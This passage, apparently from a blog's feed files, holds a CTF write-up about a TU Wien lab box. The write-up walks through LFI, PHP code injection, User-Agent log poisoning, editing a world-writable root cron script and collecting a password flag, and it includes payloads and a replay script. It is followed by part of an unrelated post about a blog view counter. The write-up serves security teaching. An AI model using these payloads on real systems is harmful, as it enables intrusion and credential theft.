<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
|
||||
<p>Eventually <strong>didn’t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)</p>
|
||||
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
|
||||
<p>Tried setting root’s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
|
||||
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.</p>
|
||||
<hr>
|
||||
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
|
||||
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2>/dev/null | head
|
||||
</span></span></code></pre></div><p>Jackpot:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
|
||||
</span></span></code></pre></div><p>Original script (innocent):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
|
||||
</span></span></code></pre></div><p>It’s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef’s kiss.</p>
|
||||
<p>I appended:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
|
||||
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
|
||||
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
|
||||
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
|
||||
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
|
||||
</span></span><span style="display:flex;"><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
|
||||
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
|
||||
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
|
||||
<hr>
|
||||
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
|
||||
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
|
||||
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> www-data@g00.tuw.measurement.network
|
||||
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
|
||||
<hr>
|
||||
<h2 id="8-the-password-parts">8) The password parts</h2>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Source</th>
|
||||
<th>File</th>
|
||||
<th>Part</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>user1</td>
|
||||
<td><code>p1</code></td>
|
||||
<td><code>DcC6Da0A27384fA</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user2</td>
|
||||
<td><code>p2</code></td>
|
||||
<td><code>9Ce05B3cAd57824</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user3</td>
|
||||
<td><code>p3</code></td>
|
||||
<td><code>3aD80fa1b7AE986</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>user4</td>
|
||||
<td><code>p4</code></td>
|
||||
<td><code>CDefabffab1FCCf</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>www-data</td>
|
||||
<td><code>passwd_part</code></td>
|
||||
<td><code>44D885d6DAb8Bb9</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>root</td>
|
||||
<td><code>rootpass</code></td>
|
||||
<td><code>ghadnuthduxeec7</code></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
|
||||
<p><strong>Combined root password (95 characters):</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
|
||||
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
|
||||
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
|
||||
<p>Root SSH with that password from <strong>outside</strong> still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
|
||||
<hr>
|
||||
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
|
||||
</span></span><span style="display:flex;"><span> → web vhost LFI (include $_GET['page'])
|
||||
</span></span><span style="display:flex;"><span> → include pwreset index.php (localhost bypass)
|
||||
</span></span><span style="display:flex;"><span> → write PHP to /var/www/userchange
|
||||
</span></span><span style="display:flex;"><span> → LFI include userchange
|
||||
</span></span><span style="display:flex;"><span> → RCE as www-data
|
||||
</span></span><span style="display:flex;"><span> → append to world-writable cron_update_hostname_file.sh
|
||||
</span></span><span style="display:flex;"><span> → cron runs as root → copies passwd parts to webroot
|
||||
</span></span><span style="display:flex;"><span> → read parts / SSH as www-data
|
||||
</span></span><span style="display:flex;"><span> → profit
|
||||
</span></span></code></pre></div><p>Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.</p>
|
||||
<hr>
|
||||
<h2 id="10-replay-script">10) Replay script</h2>
|
||||
<p>I left a minimal Python replay in the challenge repo:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
|
||||
</span></span></code></pre></div><p>Core logic:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
|
||||
</span></span><span style="display:flex;"><span> pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">"<?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?>"</span>, <span style="color:#e6db74">""</span>)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">"/var/www/userchange"</span>)
|
||||
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
|
||||
<hr>
|
||||
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
|
||||
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
|
||||
<p>So here’s the path you’re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
|
||||
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
|
||||
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- remember for debugging:
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.access.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.error.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.access.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.error.log
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--></span>
|
||||
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn’t say “don’t use SSL” — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
|
||||
<h3 id="intended-technique">Intended technique</h3>
|
||||
<ol>
|
||||
<li>
|
||||
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
</span></span></code></pre></div></li>
|
||||
<li>
|
||||
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span><?php passthru($_GET['cmd']); ?>
|
||||
</span></span></code></pre></div><p>Short tags like <code><?=`id`?></code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Include that log</strong> through the same LFI bug:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
|
||||
</span></span><span style="display:flex;"><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
</span></span><span style="display:flex;"><span> &cmd=id
|
||||
</span></span></code></pre></div></li>
|
||||
</ol>
|
||||
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That’s RCE. No pwreset required.</p>
|
||||
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>What I did</th>
|
||||
<th>Why it hurt</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Defaulted to <code>https://</code> everywhere</td>
|
||||
<td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Included the ssl log via LFI</td>
|
||||
<td>Output truncates around ~2 KB; poison sits at the tail</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Fired dozens of test payloads</td>
|
||||
<td>Left broken <code><?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Didn’t read <code>index.php</code> source early</td>
|
||||
<td>Missed the debug comment until I’d already polluted both logs</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Tobias’s take: that’s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
|
||||
<h3 id="if-youre-solving-it-now">If you’re solving it now</h3>
|
||||
<ul>
|
||||
<li>Read <code>index.php</code> source first.</li>
|
||||
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
|
||||
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
|
||||
<li>Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
|
||||
</ul>
|
||||
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
|
||||
<hr>
|
||||
<h2 id="12-tldr">12) TL;DR</h2>
|
||||
<ul>
|
||||
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
|
||||
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
|
||||
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
|
||||
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
|
||||
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
|
||||
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
|
||||
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
|
||||
</ul>
|
||||
<p>If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
|
||||
<p>Happy hacking. 🔓</p>
|
||||
<hr>
|
||||
<p><em>Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
|
||||
<a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
|
||||
jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
|
||||
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
|
||||
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
|
||||
35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
|
||||
FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
|
||||
oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
|
||||
zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
|
||||
//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
|
||||
MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
|
||||
YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
|
||||
zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
|
||||
=BDGe
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
|
||||
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/security/page/1/index.html
Normal file
2
public-clearnet/categories/security/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/security/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/security/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/security/"></head></html>
|
||||
11
public-clearnet/categories/stories/index.html
Normal file
11
public-clearnet/categories/stories/index.html
Normal file
File diff suppressed because one or more lines are too long
336
public-clearnet/categories/stories/index.xml
Normal file
336
public-clearnet/categories/stories/index.xml
Normal file
|
|
@ -0,0 +1,336 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Stories on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/stories/</link><description>Recent content in Stories on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Sat, 18 Oct 2025 10:45:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/stories/index.xml" rel="self" type="application/rss+xml"/><item><title>A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)</title><link>https://blog.alipour.eu/posts/papermod-views-debugging-story/</link><pubDate>Sat, 18 Oct 2025 10:45:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/papermod-views-debugging-story/</guid><description>I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.</description><content:encoded><![CDATA[<p>I only wanted a tiny <strong>“views”</strong> badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.</p>
|
||||
<p>The thing is, I don’t think the counter even works correctly.
|
||||
Or maybe I’m undermining my blog popularity!
|
||||
But regardless, it was a small stiching task that I did on this lovely Friday evening.
|
||||
The day before my next term of German class starts.
|
||||
The day before playing deadface CTF that I’ve been counting days for.</p>
|
||||
<h3 id="the-neat-footer-row">The neat footer row</h3>
|
||||
<p>First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"site-meta-row"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/index.xml"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"alternate"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"application/rss+xml"</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">"RSS"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"rss-link"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:inline-flex;align-items:center;gap:.35rem;"</span>>
|
||||
</span></span><span style="display:flex;"><span> { partial "svg.html" (dict "name" "rss") }
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>RSS</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>·</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"busuanzi_container_site_pv"</span>>
|
||||
</span></span><span style="display:flex;"><span> Site views: <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"busuanzi_value_site_pv"</span>>—</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>·</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"busuanzi_container_site_uv"</span>>
|
||||
</span></span><span style="display:flex;"><span> Visitors: <<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"busuanzi_value_site_uv"</span>>—</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span></code></pre></div><p>So far, so good. The labels showed up. The numbers, though? <strong>Nothing.</strong> Just an em dash. I shrugged—maybe it was a caching thing.</p>
|
||||
<h3 id="the-first-round-of-checks">The first round of checks</h3>
|
||||
<p>I added the script site‑wide in <code>layouts/partials/extend_head.html</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js"</span> <span style="color:#a6e22e">defer</span>></<span style="color:#f92672">script</span>>
|
||||
</span></span></code></pre></div><p>Refreshed. Still blank.</p>
|
||||
<p><strong>DevTools time.</strong> Network tab: the script <strong>does</strong> load:</p>
|
||||
<ul>
|
||||
<li><strong>Request URL:</strong> <code>https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js</code></li>
|
||||
<li><strong>Request Method:</strong> GET</li>
|
||||
<li><strong>Status Code:</strong> 304 Not Modified</li>
|
||||
<li><strong>Referrer Policy:</strong> strict-origin-when-cross-origin</li>
|
||||
<li><strong>User-Agent:</strong> a normal Chromium build (nothing exotic)</li>
|
||||
</ul>
|
||||
<p>No red flags. Just a perfectly normal 304.</p>
|
||||
<p>Maybe my IDs were wrong? Busuanzi has a couple of flavors: <code>busuanzi_value_*</code> (with container wrappers) or shorthand like <code>busuanzi_site_pv</code>. I tried <strong>both</strong>, carefully, one at a time. Still… <strong>—</strong>.</p>
|
||||
<h3 id="the-odd-message">The odd message</h3>
|
||||
<p>Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:</p>
|
||||
<blockquote>
|
||||
<p><strong>“域名过长，已被禁用 views”</strong></p></blockquote>
|
||||
<p>That’s “domain name too long, disabled.” Wait, what?</p>
|
||||
<p>I checked my hostname: <strong><code>blog.alipourimjourneys.ir</code></strong>. I counted: <strong>27 characters</strong>. Busuanzi’s limit? <strong>22.</strong> Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.</p>
|
||||
<h3 id="two-ways-out">Two ways out</h3>
|
||||
<p>At this point I had two clean options:</p>
|
||||
<ol>
|
||||
<li><strong>Keep Busuanzi</strong> and move the site to the <strong>apex domain</strong> (short enough).</li>
|
||||
<li>Keep my beloved <code>blog.</code> subdomain and swap in <strong>Vercount</strong>, a Busuanzi‑style drop‑in without the 22‑char limit.</li>
|
||||
</ol>
|
||||
<p>I liked the subdomain (habit, mostly), so I tried <strong>Vercount</strong>.</p>
|
||||
<h3 id="the-swap-five-minute-fix">The swap (five-minute fix)</h3>
|
||||
<p>I removed the Busuanzi script and added Vercount instead:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- extend_head.html --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">script</span> <span style="color:#a6e22e">defer</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://events.vercount.one/js"</span>></<span style="color:#f92672">script</span>>
|
||||
</span></span></code></pre></div><p>I kept the same tidy footer row, but switched the IDs to Vercount’s:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"site-meta-row"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/index.xml"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"alternate"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"application/rss+xml"</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">"RSS"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"rss-link"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:inline-flex;align-items:center;gap:.35rem;"</span>>
|
||||
</span></span><span style="display:flex;"><span> { partial "svg.html" (dict "name" "rss") }
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>RSS</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span> <span style="color:#a6e22e">aria-hidden</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>·</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
